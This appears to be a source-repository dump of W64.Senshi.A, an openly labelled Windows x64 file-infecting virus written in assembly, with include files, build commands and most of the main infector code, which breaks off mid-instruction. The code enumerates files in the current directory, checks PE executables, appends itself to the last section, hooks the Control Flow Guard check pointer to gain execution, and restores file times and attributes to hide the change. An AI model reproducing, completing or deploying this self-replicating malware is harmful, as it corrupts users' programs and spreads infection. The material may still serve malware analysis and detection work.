├── .gitattributes ├── Senshi.A ├── SENSHI.INC └── SENSHI.ASM └── SENSHI48 ├── SENSHI.INC └── SENSHI.ASM /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /Senshi.A/SENSHI.INC: -------------------------------------------------------------------------------- 1 | OPEN_EXISTING equ 3 2 | 3 | FILE_MAP_WRITE equ 2 4 | 5 | PAGE_READWRITE equ 4 6 | 7 | IMAGE_FILE_MACHINE_AMD64 equ 8664h 8 | 9 | IMAGE_FILE_EXECUTABLE_IMAGE equ 2 10 | IMAGE_FILE_SYSTEM equ 1000h 11 | IMAGE_FILE_DLL equ 2000h 12 | 13 | IMAGE_NT_OPTIONAL_HDR64_MAGIC equ 20bh 14 | 15 | IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2 16 | 17 | IMAGE_DLLCHARACTERISTICS_GUARD_CF equ 4000h 18 | 19 | IMAGE_SCN_MEM_EXECUTE equ 20000000h 20 | IMAGE_SCN_MEM_WRITE equ 80000000h 21 | 22 | FILE_ATTRIBUTE_DIRECTORY equ 10h 23 | FILE_ATTRIBUTE_ARCHIVE equ 20h 24 | 25 | EXCEPTION_CONTINUE_EXECUTION equ -1 26 | 27 | CONTEXT_RIP equ 0f8h 28 | 29 | IMAGE_GUARD_CF_INSTRUMENTED equ 100h 30 | IMAGE_GUARD_CFW_INSTRUMENTED equ 200h 31 | 32 | tebProcessEnvironmentBlock equ 60h 33 | 34 | pebImagebase equ 10h 35 | pebLdr equ 18h 36 | 37 | InMemoryOrderModuleList equ 20h 38 | 39 | mDllBase equ 20h 40 | 41 | 42 | struc ntdcrcstk 43 | .kRtlRemoveVectoredExceptionHandler: resq 1 44 | .kRtlAddVectoredExceptionHandler: resq 1 45 | endstruc 46 | 47 | struc krncrcstk 48 | .kUnmapViewOfFile: resq 1 49 | .kSetFileTime: resq 1 50 | .kSetFilePointer: resq 1 51 | .kSetFileAttributesW: resq 1 52 | .kSetEndOfFile: resq 1 53 | .kMapViewOfFile: resq 1 54 | .kFindNextFileW: resq 1 55 | .kFindFirstFileW: resq 1 56 | .kFindClose: resq 1 57 | .kCreateFileW: resq 1 58 | .kCreateFileMappingW: resq 1 59 | .kCloseHandle: resq 1 60 | endstruc 61 | 62 | struc EXCEPTION_POINTERS 63 | .ExceptionRecord: resq 1 64 | .ContextRecord : resq 1 65 | endstruc 66 | 67 | struc FILETIME 68 | .dwLowDateTime :resd 1 69 | .dwHighDateTime:resd 1 70 | endstruc 71 | 72 | struc WIN32_FIND_DATA 73 | .dwFileAttributes : resd 1 74 | .ftCreationTime : resb FILETIME_size 75 | .ftLastAccessTime : resb FILETIME_size 76 | .ftLastWriteTime : resb FILETIME_size 77 | .dwFileSizeHigh : resd 1 78 | .dwFileSizeLow : resd 1 79 | .dwReserved0 : resd 1 80 | .dwReserved1 : resd 1 81 | .cFileName : resw 260 82 | .cAlternateFileName: resw 14 83 | endstruc 84 | 85 | struc mzhdr 86 | .mzsig : resw 1 ;00 87 | .mzpagemod : resw 1 ;02 88 | .mzpagediv : resw 1 ;04 89 | .mzrelocs : resw 1 ;06 90 | .mzhdrsize : resw 1 ;08 91 | .mzminalloc: resw 1 ;0A 92 | .mzmaxalloc: resw 1 ;0C 93 | .mzss : resw 1 ;0E 94 | .mzsp : resw 1 ;10 95 | .mzchksum : resw 1 ;12 96 | .mzip : resw 1 ;14 97 | .mzcs : resw 1 ;16 98 | .mzreloff : resw 1 ;18 99 | .mzfiller : resb 22h ;1A 100 | .mzlfanew : resd 1 ;3C 101 | endstruc 102 | 103 | struc coffhdr 104 | .pemachine : resw 1 ;04 105 | .pesectcount : resw 1 ;06 106 | .petimedate : resd 1 ;08 107 | .pesymbrva : resd 1 ;0C 108 | .pesymbcount : resd 1 ;10 109 | .peopthdrsize: resw 1 ;14 110 | .peflags : resw 1 ;16 111 | endstruc 112 | 113 | struc pedir 114 | .dirrva : resd 1 115 | .dirsize: resd 1 116 | endstruc 117 | 118 | struc pehdr 119 | .pesig : resd 1 ;000 120 | .pecoff : resb coffhdr_size 121 | .pemagic : resw 1 ;018 122 | .pemajorlink : resb 1 ;01A 123 | .peminorlink : resb 1 ;01B 124 | .pecodesize : resd 1 ;01C 125 | .peidatasize : resd 1 ;020 126 | .peudatasize : resd 1 ;024 127 | .peentrypoint : resd 1 ;028 128 | .pecodebase : resd 1 ;02C 129 | .peimagebase : resq 1 ;030 130 | .pesectalign : resd 1 ;038 131 | .pefilealign : resd 1 ;03C 132 | .pemajoros : resw 1 ;040 133 | .peminoros : resw 1 ;042 134 | .pemajorimage : resw 1 ;044 135 | .peminorimage : resw 1 ;046 136 | .pemajorsubsys: resw 1 ;048 137 | .peminorsubsys: resw 1 ;04A 138 | .pereserved : resd 1 ;04C 139 | .peimagesize : resd 1 ;050 140 | .pehdrsize : resd 1 ;054 141 | .pechksum : resd 1 ;058 142 | .pesubsys : resw 1 ;05C 143 | .pedllflags : resw 1 ;05E 144 | .pestackmax : resq 1 ;060 145 | .pestacksize : resq 1 ;068 146 | .peheapmax : resq 1 ;070 147 | .peheapsize : resq 1 ;078 148 | .peldrflags : resd 1 ;080 149 | .pervacount : resd 1 ;084 150 | .peexport : resb pedir_size ;088 151 | .peimport : resb pedir_size ;090 152 | .persrc : resb pedir_size ;098 153 | .peexcpt : resb pedir_size ;0A0 154 | .pesecurity : resb pedir_size ;0A8 155 | .pereloc : resb pedir_size ;0B0 156 | .pedebug : resb pedir_size ;0B8 157 | .pearch : resb pedir_size ;0C0 158 | .peglobal : resb pedir_size ;0C8 159 | .petls : resb pedir_size ;0D0 160 | .peconfig : resb pedir_size ;0D8 161 | .pebound : resb pedir_size ;0E0 162 | .peiat : resb pedir_size ;0E8 163 | .pedelay : resb pedir_size ;0F0 164 | .pecom : resb pedir_size ;0F8 165 | .persrv : resb pedir_size ;100 166 | endstruc 167 | 168 | struc peexp 169 | .expflags : resd 1 170 | .expdatetime : resd 1 171 | .expmajorver : resw 1 172 | .expminorver : resw 1 173 | .expdllrva : resd 1 174 | .expordbase : resd 1 175 | .expadrcount : resd 1 176 | .expnamecount: resd 1 177 | .expadrrva : resd 1 178 | .expnamerva : resd 1 179 | .expordrva : resd 1 180 | endstruc 181 | 182 | struc pesect 183 | .sectname : resb 8 184 | .sectvirtsize : resd 1 185 | .sectvirtaddr : resd 1 186 | .sectrawsize : resd 1 187 | .sectrawaddr : resd 1 188 | .sectreladdr : resd 1 189 | .sectlineaddr : resd 1 190 | .sectrelcount : resw 1 191 | .sectlinecount: resw 1 192 | .sectflags : resd 1 193 | endstruc -------------------------------------------------------------------------------- /SENSHI48/SENSHI.INC: -------------------------------------------------------------------------------- 1 | MAX_PATH equ 260 2 | 3 | GMEM_ZEROINIT equ 40h 4 | 5 | CREATE_ALWAYS equ 2 6 | OPEN_EXISTING equ 3 7 | 8 | FILE_READ_DATA equ 1 9 | FILE_WRITE_DATA equ 2 10 | 11 | FILE_ATTRIBUTE_DIRECTORY equ 10h 12 | FILE_ATTRIBUTE_ARCHIVE equ 20h 13 | 14 | FILE_MAP_WRITE equ 2 15 | 16 | PAGE_READWRITE equ 4 17 | 18 | IMAGE_FILE_MACHINE_I386 equ 14ch 19 | IMAGE_FILE_MACHINE_AMD64 equ 8664h 20 | 21 | IMAGE_FILE_EXECUTABLE_IMAGE equ 2 22 | IMAGE_FILE_SYSTEM equ 1000h 23 | IMAGE_FILE_DLL equ 2000h 24 | 25 | IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2 26 | 27 | GuardCFCheckFunctionPointer equ 48h 28 | GuardFlags equ 58h 29 | 30 | GuardCFCheckFunctionPointer64 equ 70h 31 | GuardCFDispatchFunctionPointer64 equ 78h 32 | GuardFlags64 equ 90h 33 | 34 | IMAGE_DLLCHARACTERISTICS_GUARD_CF equ 4000h 35 | 36 | IMAGE_SCN_MEM_EXECUTE equ 20000000h 37 | 38 | mlDllBase equ 18h 39 | 40 | struc dllcrcstk 41 | .dWriteFile: resd 1 42 | .dWinExec: resd 1 43 | .dGlobalFree: resd 1 44 | .dGlobalAlloc: resd 1 45 | .dCreateFileA: resd 1 46 | .dCloseHandle: resd 1 47 | endstruc 48 | 49 | struc krncrcstk 50 | .kUnmapViewOfFile: resd 1 51 | .kSetFileTime: resd 1 52 | .kSetFilePointer: resd 1 53 | .kSetFileAttributesW: resd 1 54 | .kSetEndOfFile: resd 1 55 | .kMapViewOfFile: resd 1 56 | .kFindNextFileW: resd 1 57 | .kFindFirstFileW: resd 1 58 | .kFindClose: resd 1 59 | .kCreateFileW: resd 1 60 | .kCreateFileMappingW: resd 1 61 | .kCloseHandle: resd 1 62 | endstruc 63 | 64 | struc FILETIME 65 | .dwLowDateTime :resd 1 66 | .dwHighDateTime:resd 1 67 | endstruc 68 | 69 | struc WIN32_FIND_DATA 70 | .dwFileAttributes : resd 1 71 | .ftCreationTime : resb FILETIME_size 72 | .ftLastAccessTime : resb FILETIME_size 73 | .ftLastWriteTime : resb FILETIME_size 74 | .dwFileSizeHigh : resd 1 75 | .dwFileSizeLow : resd 1 76 | .dwReserved0 : resd 1 77 | .dwReserved1 : resd 1 78 | .cFileName : resw 260 79 | .cAlternateFileName: resw 14 80 | endstruc 81 | 82 | struc mzhdr 83 | .mzsig : resw 1 ;00 84 | .mzpagemod : resw 1 ;02 85 | .mzpagediv : resw 1 ;04 86 | .mzrelocs : resw 1 ;06 87 | .mzhdrsize : resw 1 ;08 88 | .mzminalloc: resw 1 ;0A 89 | .mzmaxalloc: resw 1 ;0C 90 | .mzss : resw 1 ;0E 91 | .mzsp : resw 1 ;10 92 | .mzchksum : resw 1 ;12 93 | .mzip : resw 1 ;14 94 | .mzcs : resw 1 ;16 95 | .mzreloff : resw 1 ;18 96 | .mzfiller : resb 22h ;1A 97 | .mzlfanew : resd 1 ;3C 98 | endstruc 99 | 100 | struc coffhdr 101 | .pemachine : resw 1 ;04 102 | .pesectcount : resw 1 ;06 103 | .petimedate : resd 1 ;08 104 | .pesymbrva : resd 1 ;0C 105 | .pesymbcount : resd 1 ;10 106 | .peopthdrsize: resw 1 ;14 107 | .peflags : resw 1 ;16 108 | endstruc 109 | 110 | struc pedir 111 | .dirrva : resd 1 112 | .dirsize: resd 1 113 | endstruc 114 | 115 | struc pehdr 116 | .pesig : resd 1 ;00 117 | .pecoff : resb coffhdr_size 118 | .pemagic : resw 1 ;18 119 | .pemajorlink : resb 1 ;1A 120 | .peminorlink : resb 1 ;1B 121 | .pecodesize : resd 1 ;1C 122 | .peidatasize : resd 1 ;20 123 | .peudatasize : resd 1 ;24 124 | .peentrypoint : resd 1 ;28 125 | .pecodebase : resd 1 ;2c 126 | .pedatabase : resd 1 ;30 127 | .peimagebase : resd 1 ;34 128 | .pesectalign : resd 1 ;38 129 | .pefilealign : resd 1 ;3c 130 | .pemajoros : resw 1 ;40 131 | .peminoros : resw 1 ;42 132 | .pemajorimage : resw 1 ;44 133 | .peminorimage : resw 1 ;46 134 | .pemajorsubsys: resw 1 ;48 135 | .peminorsubsys: resw 1 ;4a 136 | .pereserved : resd 1 ;4c 137 | .peimagesize : resd 1 ;50 138 | .pehdrsize : resd 1 ;54 139 | .pechksum : resd 1 ;58 140 | .pesubsys : resw 1 ;5C 141 | .pedllflags : resw 1 ;5E 142 | .pestackmax : resd 1 ;60 143 | .pestacksize : resd 1 ;64 144 | .peheapmax : resd 1 ;68 145 | .peheapsize : resd 1 ;6C 146 | .peldrflags : resd 1 ;70 147 | .pervacount : resd 1 ;74 148 | .peexport : resb pedir_size ;78 149 | .peimport : resb pedir_size ;80 150 | .persrc : resb pedir_size ;88 151 | .peexcpt : resb pedir_size ;90 152 | .pesecurity : resb pedir_size ;98 153 | .pereloc : resb pedir_size ;A0 154 | .pedebug : resb pedir_size ;A8 155 | .pearch : resb pedir_size ;B0 156 | .peglobal : resb pedir_size ;B8 157 | .petls : resb pedir_size ;C0 158 | .peconfig : resb pedir_size ;C8 159 | .pebound : resb pedir_size ;D0 160 | .peiat : resb pedir_size ;D8 161 | .pedelay : resb pedir_size ;E0 162 | .pecom : resb pedir_size ;E8 163 | .persrv : resb pedir_size ;F0 164 | endstruc 165 | 166 | struc pehdr64 167 | .pe64sig : resd 1 ;000 168 | .pe64coff : resb coffhdr_size 169 | .pe64magic : resw 1 ;018 170 | .pe64majorlink : resb 1 ;01A 171 | .pe64minorlink : resb 1 ;01B 172 | .pe64codesize : resd 1 ;01C 173 | .pe64idatasize : resd 1 ;020 174 | .pe64udatasize : resd 1 ;024 175 | .pe64entrypoint : resd 1 ;028 176 | .pe64codebase : resd 1 ;02C 177 | .pe64imagebase : resq 1 ;030 178 | .pe64sectalign : resd 1 ;038 179 | .pe64filealign : resd 1 ;03C 180 | .pe64majoros : resw 1 ;040 181 | .pe64minoros : resw 1 ;042 182 | .pe64majorimage : resw 1 ;044 183 | .pe64minorimage : resw 1 ;046 184 | .pe64majorsubsys: resw 1 ;048 185 | .pe64minorsubsys: resw 1 ;04A 186 | .pe64reserved : resd 1 ;04C 187 | .pe64imagesize : resd 1 ;050 188 | .pe64hdrsize : resd 1 ;054 189 | .pe64chksum : resd 1 ;058 190 | .pe64subsys : resw 1 ;05C 191 | .pe64dllflags : resw 1 ;05E 192 | .pe64stackmax : resq 1 ;060 193 | .pe64stacksize : resq 1 ;068 194 | .pe64heapmax : resq 1 ;070 195 | .pe64heapsize : resq 1 ;078 196 | .pe64ldrflags : resd 1 ;080 197 | .pe64rvacount : resd 1 ;084 198 | .pe64export : resb pedir_size ;088 199 | .pe64import : resb pedir_size ;090 200 | .pe64rsrc : resb pedir_size ;098 201 | .pe64excpt : resb pedir_size ;0A0 202 | .pe64security : resb pedir_size ;0A8 203 | .pe64reloc : resb pedir_size ;0B0 204 | .pe64debug : resb pedir_size ;0B8 205 | .pe64arch : resb pedir_size ;0C0 206 | .pe64global : resb pedir_size ;0C8 207 | .pe64tls : resb pedir_size ;0D0 208 | .pe64config : resb pedir_size ;0D8 209 | .pe64bound : resb pedir_size ;0E0 210 | .pe64iat : resb pedir_size ;0E8 211 | .pe64delay : resb pedir_size ;0F0 212 | .pe64com : resb pedir_size ;0F8 213 | .pe64rsrv : resb pedir_size ;100 214 | endstruc 215 | 216 | struc peexp 217 | .expflags : resd 1 218 | .expdatetime : resd 1 219 | .expmajorver : resw 1 220 | .expminorver : resw 1 221 | .expdllrva : resd 1 222 | .expordbase : resd 1 223 | .expadrcount : resd 1 224 | .expnamecount: resd 1 225 | .expadrrva : resd 1 226 | .expnamerva : resd 1 227 | .expordrva : resd 1 228 | endstruc 229 | 230 | struc pesect 231 | .sectname : resb 8 232 | .sectvirtsize : resd 1 233 | .sectvirtaddr : resd 1 234 | .sectrawsize : resd 1 235 | .sectrawaddr : resd 1 236 | .sectreladdr : resd 1 237 | .sectlineaddr : resd 1 238 | .sectrelcount : resw 1 239 | .sectlinecount: resw 1 240 | .sectflags : resd 1 241 | endstruc -------------------------------------------------------------------------------- /Senshi.A/SENSHI.ASM: -------------------------------------------------------------------------------- 1 | ;W64.Senshi.A by hh86 2 | ; 3 | ;some of its features: 4 | ;- parasitic direct action infector of PE exe (but not looking at suffix) 5 | ;- infects files in current directory 6 | ;- new EPO for AMD64 files: 7 | ; hooks the Control Flow Guard function 8 | ;- last section appender 9 | ;- uses CRCs instead of API names 10 | ;- uses VEH for common code exit 11 | ;- supports ASLR/DEP enabled files 12 | ;- no infect files with data outside of image (eg infected files, self-extractors) 13 | ;- correct file checksum without using imagehlp.dll :) 100% correct algorithm by rgb 14 | ;- plus some new code optimisations that were never seen before BeautifulSky 15 | ;---- 16 | ; 17 | ;to build this thing: 18 | ;yasm 19 | ;---- 20 | ;yasm -f win64 -o senshi.obj senshi.asm 21 | ;link senshi.obj /defaultlib:kernel32.lib /defaultlib:user32.lib /entry:main /section:.text,erw /subsystem:console /largeaddressaware:no /fixed 22 | ;--- 23 | ; 24 | ;Young eagle, rise in the air! 25 | ; You stared at the sun! 26 | ;My light and delicate gaze can't compare 27 | ; 28 | ;I stood, more tender than those 29 | ; Who've witnessed you disappear... 30 | ;I'm kissing you now - across 31 | ; The gap of a thousand years. 32 | ;Marina Tsvetaeva (1916) 33 | 34 | bits 64 35 | 36 | extern MessageBoxA:proc 37 | extern ExitProcess:proc 38 | 39 | %include "senshi.inc" 40 | 41 | global main 42 | section .text 43 | main: 44 | mov rsi, do_message 45 | sub rsi, qword [rcx + 10h] ;rcx = gs:[60h] at start time 46 | mov edx, ntdcrcstk_size >> 3 47 | mov rbx, ntdnames 48 | mov rdi, ntdcrcbegin 49 | call create_crcs 50 | mov edx, krncrcstk_size >> 3 51 | mov rbx, krnnames 52 | mov rdi, krncrcbegin 53 | call create_crcs 54 | mov dword [RIP + host_patch - $ - 0ah], esi 55 | ;save rva only 56 | jmp senshi_begin 57 | 58 | do_message: 59 | push rax 60 | xor r9, r9 61 | mov r8, txttitle 62 | mov rdx, txtbody 63 | xor ecx, ecx 64 | call MessageBoxA 65 | xor ecx, ecx 66 | call ExitProcess 67 | ;----------------------------------------------------------------------------- 68 | ;everything before this point is dropper code 69 | ;----------------------------------------------------------------------------- 70 | 71 | senshi_begin: 72 | push 'hh86' ;replaced dynamically 73 | 74 | host_patch: 75 | push rdi 76 | push rsi 77 | push rbp 78 | push rdx 79 | push rcx 80 | push rbx 81 | push r9 82 | push r8 83 | 84 | patch_maskjmp: 85 | db 90h ;replaced to mask the JMP: 86 | jmp senshi_init ;runs only once per process instance 87 | 88 | senshi_ret: 89 | mov byte [REL + patch_maskjmp], 81h 90 | pop r8 91 | pop r9 92 | pop rbx 93 | pop rcx 94 | pop rdx 95 | pop rbp 96 | pop rsi 97 | pop rdi 98 | ret 99 | 100 | ;----------------------------------------------------------------------------- 101 | ;recover ntdll and kernel32 image base 102 | ;----------------------------------------------------------------------------- 103 | 104 | senshi_init: 105 | push tebProcessEnvironmentBlock 106 | pop rsi 107 | gs lodsq 108 | mov rdx, qword [rax + pebImagebase] 109 | add qword [rsp + 40h], rdx 110 | mov rax, qword [rax + pebLdr] 111 | mov rsi, qword [rax + InMemoryOrderModuleList] 112 | lodsq 113 | push qword [rax + mDllBase] ;ntdll 114 | xchg rax, rsi 115 | lodsq 116 | push qword [rax + mDllBase] ;kernel32 117 | call parse_exps 118 | 119 | ;----------------------------------------------------------------------------- 120 | ;API CRC table, null terminated 121 | ;----------------------------------------------------------------------------- 122 | 123 | krncrcbegin: 124 | times krncrcstk_size >> 3 dd 0 125 | krncrcend: 126 | db 0 127 | ; db "Senshi - hh86" ;missing in action 128 | 129 | push qword [rsp + krncrcstk_size] 130 | call parse_exps 131 | 132 | ;----------------------------------------------------------------------------- 133 | ;API CRC table, null terminated 134 | ;----------------------------------------------------------------------------- 135 | 136 | ntdcrcbegin: 137 | times ntdcrcstk_size >> 3 dd 0 138 | ntdcrcend: 139 | db 0 140 | 141 | ;----------------------------------------------------------------------------- 142 | ;enter buffer with align bits for the stack pointer 143 | ;keep the shadow space slots to use them later with FindNextFileW() 144 | ;----------------------------------------------------------------------------- 145 | 146 | enter WIN32_FIND_DATA_size + 8, 0 147 | push rsp 148 | pop rdi 149 | push "*" 150 | push rsp 151 | pop rcx 152 | push rdi 153 | pop rdx 154 | sub rsp, 20h 155 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kFindFirstFileW] 156 | push rax 157 | pop rsi 158 | 159 | ;----------------------------------------------------------------------------- 160 | ;current directory only 161 | ;----------------------------------------------------------------------------- 162 | 163 | test_dir: 164 | test byte [rdi + WIN32_FIND_DATA.dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY 165 | jne find_next 166 | push FILE_ATTRIBUTE_ARCHIVE 167 | pop rdx 168 | 169 | ;and one July day in 1786, the Raven God appeared 170 | 171 | call set_fileattr 172 | call open_file 173 | 174 | find_next: 175 | push rsi 176 | pop rcx 177 | push rdi 178 | pop rdx 179 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kFindNextFileW] 180 | dec eax 181 | je test_dir 182 | push rsi 183 | pop rcx 184 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kFindClose] 185 | lea rsp, qword [rbp + 10h + ntdcrcstk_size + krncrcstk_size] 186 | ;restore stack pointer 187 | jmp senshi_ret ;game over 188 | 189 | ;----------------------------------------------------------------------------- 190 | ;open file for mapping 191 | ;----------------------------------------------------------------------------- 192 | 193 | open_file: 194 | cdq 195 | push rdx 196 | push rdx 197 | push OPEN_EXISTING ;but also GENERIC_READ | GENERIC_WRITE 198 | pop rdx 199 | push rdx 200 | sub rsp, 20h 201 | xor r9, r9 202 | xor r8, r8 203 | lea rcx, qword [rdi + WIN32_FIND_DATA.cFileName] 204 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kCreateFileW] 205 | xchg rbx, rax 206 | call map_view 207 | xor r9, r9 ;FILE_BEGIN 208 | xor r8, r8 209 | mov edx, dword [rdi + WIN32_FIND_DATA.dwFileSizeLow] 210 | push rbx 211 | pop rcx 212 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kSetFilePointer] 213 | push rbx 214 | pop rcx 215 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kSetEndOfFile] 216 | lea r9, qword [rdi + WIN32_FIND_DATA.ftLastWriteTime] 217 | lea r8, qword [rdi + WIN32_FIND_DATA.ftLastAccessTime] 218 | xor edx, edx 219 | push rbx 220 | pop rcx 221 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kSetFileTime] 222 | push rbx 223 | pop rcx 224 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kCloseHandle] 225 | add rsp, 38h 226 | 227 | ;----------------------------------------------------------------------------- 228 | ;restore/set file attributes 229 | ;----------------------------------------------------------------------------- 230 | 231 | mov edx, dword [rdi + WIN32_FIND_DATA.dwFileAttributes] 232 | 233 | set_fileattr: ;edx = file attributes, edi -> find data, esi -> platform APIs 234 | lea rcx, dword [rdi + WIN32_FIND_DATA.cFileName] 235 | sub rsp, 28h 236 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kSetFileAttributesW] 237 | add rsp, 28h 238 | ret 239 | db "22/03/18" 240 | 241 | ;----------------------------------------------------------------------------- 242 | ;test if file is infectable (not protected, PE, x86-64, non-system, not infected, etc) 243 | ;----------------------------------------------------------------------------- 244 | 245 | test_file: 246 | cmp word [rsi], 'MZ' 247 | jne test_ret 248 | mov eax, dword [rsi + mzhdr.mzlfanew] 249 | lea rax, qword [rsi + rax + pehdr.peheapsize] 250 | cmp dword [rax + pehdr.pesig - pehdr.peheapsize], 'PE' 251 | jne test_ret 252 | cmp word [rax + pehdr.pecoff + coffhdr.pemachine - pehdr.peheapsize], IMAGE_FILE_MACHINE_AMD64 253 | jne test_ret 254 | 255 | ;----------------------------------------------------------------------------- 256 | ;don't infect dll files 257 | ;----------------------------------------------------------------------------- 258 | 259 | movzx ebp, word [rax + pehdr.pecoff + coffhdr.peopthdrsize - pehdr.peheapsize] 260 | cmp bp, pehdr.pedelay - pehdr.pemagic 261 | jb test_ret 262 | mov ecx, dword [rax + pehdr.pecoff + coffhdr.peflags - pehdr.peheapsize] 263 | test cl, IMAGE_FILE_EXECUTABLE_IMAGE 264 | je test_ret 265 | test ch, (IMAGE_FILE_DLL | IMAGE_FILE_SYSTEM) >> 12 266 | jne test_ret 267 | 268 | ;----------------------------------------------------------------------------- 269 | ;allow console interface, maybe one day we can put a nice message there ;) 270 | ;ignore any other type except GUI 271 | ;----------------------------------------------------------------------------- 272 | 273 | cmp word [rax + pehdr.pemagic - pehdr.peheapsize], IMAGE_NT_OPTIONAL_HDR64_MAGIC 274 | jne test_ret 275 | mov ecx, dword [rax + pehdr.pesubsys - pehdr.peheapsize] 276 | dec ecx 277 | dec ecx 278 | cmp cx, IMAGE_SUBSYSTEM_WINDOWS_GUI - 1 279 | jnbe test_ret 280 | 281 | ;----------------------------------------------------------------------------- 282 | ;avoid files which seem to contain attribute certificates 283 | ;because one of those certificates might be a digital signature 284 | ;----------------------------------------------------------------------------- 285 | 286 | cmp dword [rax + pehdr.pesecurity - pehdr.peheapsize], 0 287 | jne test_ret 288 | 289 | ;----------------------------------------------------------------------------- 290 | ;don't infect files with data outside the image (eg infected files, self-extractors, etc) 291 | ;----------------------------------------------------------------------------- 292 | 293 | push rsi 294 | lea rsi, qword [rax + rbp + pehdr.pemagic - pehdr.peheapsize] 295 | imul bp, word [rax + pehdr.pecoff + coffhdr.pesectcount - pehdr.peheapsize], pesect_size 296 | lea rsi, qword [rsi + rbp - pesect_size] 297 | mov ebx, dword [rsi + pesect.sectrawaddr] 298 | add ebx, dword [rsi + pesect.sectrawsize] 299 | add rdi, WIN32_FIND_DATA.dwFileSizeLow 300 | cmp dword [rdi], ebx 301 | jne test_ret ;file contains appended data 302 | 303 | ;----------------------------------------------------------------------------- 304 | ;don't infect files with virtual size larger than raw size: it may be a buffer 305 | ;of some kind and the code may get overwritten at some point 306 | ;remember: even if you have not seen it does not mean that it does not happen :) 307 | ;----------------------------------------------------------------------------- 308 | 309 | mov ecx, dword [rsi + pesect.sectvirtsize] 310 | cmp dword [rsi + pesect.sectrawsize], ecx 311 | jb test_ret ;last section may have a buffer 312 | pop rbx 313 | mov ecx, dword [rax + pehdr.peconfig + pedir.dirrva - pehdr.peheapsize] 314 | jecxz test_ret 315 | call rva2raw 316 | cmp dword [rcx], 70h 317 | jbe test_ret 318 | push rcx 319 | mov rcx, qword [rcx + 70h] ;get CFG check function pointer location 320 | jrcxz test_ret 321 | sub rcx, qword [rax + pehdr.peimagebase - pehdr.peheapsize] 322 | call rva2raw ;it is VA not RVA 323 | pop rbx 324 | ret 325 | 326 | test_ret: 327 | int 3 328 | 329 | ;----------------------------------------------------------------------------- 330 | ;always create file mapping with added size for appending 331 | ;we can reset it later to its original size if no infection occurred (e.g not suitable 332 | ;for infection), so we don't map it twice 333 | ;----------------------------------------------------------------------------- 334 | 335 | map_view: 336 | mov ecx, dword [rdi + WIN32_FIND_DATA.dwFileSizeLow] 337 | add ecx, (senshi_end - senshi_begin) + 1 338 | 339 | ;----------------------------------------------------------------------------- 340 | ;create file map, and map view if successful 341 | ;----------------------------------------------------------------------------- 342 | 343 | push rsi 344 | xor edx, edx 345 | push rdx 346 | push rcx 347 | sub rsp, 20h 348 | xor r9, r9 349 | lea r8, qword [rdx + PAGE_READWRITE] 350 | push rbx 351 | pop rcx 352 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kCreateFileMappingW] 353 | xchg rsi, rax 354 | push 0 355 | sub rsp, 20h 356 | xor r9, r9 357 | xor r8, r8 358 | push FILE_MAP_WRITE 359 | pop rdx 360 | push rsi 361 | pop rcx 362 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kMapViewOfFile] 363 | xchg rsi, rax 364 | xchg rcx, rax 365 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kCloseHandle] 366 | call infect_file 367 | call unmap_veh 368 | push rdx 369 | pop rsp 370 | pop rbx 371 | pop rbp 372 | pop rsi 373 | pop rdi 374 | pop rcx 375 | call qword [rbp + 8 + ntdcrcstk.kRtlRemoveVectoredExceptionHandler] 376 | push rsi 377 | pop rcx 378 | call qword [rbp + 8 + ntdcrcstk_size + krncrcstk.kUnmapViewOfFile] 379 | add rsp, 58h 380 | pop rsi 381 | ret 382 | 383 | unmap_veh: 384 | mov rcx, qword [rcx + EXCEPTION_POINTERS.ContextRecord] 385 | pop qword [rcx + CONTEXT_RIP] 386 | or eax, EXCEPTION_CONTINUE_EXECUTION 387 | ret 388 | 389 | ;----------------------------------------------------------------------------- 390 | ;infect file 391 | ;algorithm: append last section and insert virus code there, image size is 392 | ; increased. file size only increases by the size of the virus code 393 | ; and a single byte for the infection marker 394 | ; the code supports ASLR/DEP enabled files, so no need to alter 395 | ; dll flags (clear NO_SEH and SafeSEH is only for 32-bit PE) 396 | ; CFG check function pointer is altered. very simple 397 | ;----------------------------------------------------------------------------- 398 | 399 | infect_file: 400 | pop rdx 401 | push rsp 402 | pop rcx 403 | call qword [rbp + 8 + ntdcrcstk.kRtlAddVectoredExceptionHandler] 404 | push rax 405 | push rdi 406 | push rsi 407 | push rbp 408 | push rbx 409 | push rsp 410 | pop rdx ;do not use this register anymore 411 | push rsi 412 | call test_file 413 | pop rbp 414 | push rdi 415 | push rbx 416 | push rcx 417 | push rbp 418 | mov ebp, dword [rsi + pesect.sectrawsize] 419 | mov ecx, senshi_end - senshi_begin 420 | add dword [rsi + pesect.sectrawsize], ecx 421 | stc ;set carry flag 422 | adc dword [rdi], ecx ;carry flag is infection marker 423 | add dword [rsi + pesect.sectvirtsize], ecx 424 | mov edi, dword [rsi + pesect.sectvirtsize] 425 | mov ebx, dword [rax + pehdr.pesectalign - pehdr.peheapsize] 426 | dec ebx 427 | add edi, ebx 428 | not ebx 429 | and edi, ebx ;section align virtual size 430 | add edi, dword [rsi + pesect.sectvirtaddr] 431 | mov dword [rax + pehdr.peimagesize - pehdr.peheapsize], edi 432 | 433 | ;----------------------------------------------------------------------------- 434 | ;section attributes are always altered to executable because AMD64 will require it 435 | ;always altered to writable because we need to patch out entry point code 436 | ;the write bit could be set at runtime but we lost anti-heuristic already 437 | ;----------------------------------------------------------------------------- 438 | 439 | or byte [rsi + pesect.sectflags + 3], (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE) >> 18h 440 | 441 | ;----------------------------------------------------------------------------- 442 | ;copy code to last section 443 | ;----------------------------------------------------------------------------- 444 | 445 | pop rbx 446 | mov edi, dword [rsi + pesect.sectrawaddr] 447 | add edi, ebp 448 | add rdi, rbx 449 | add 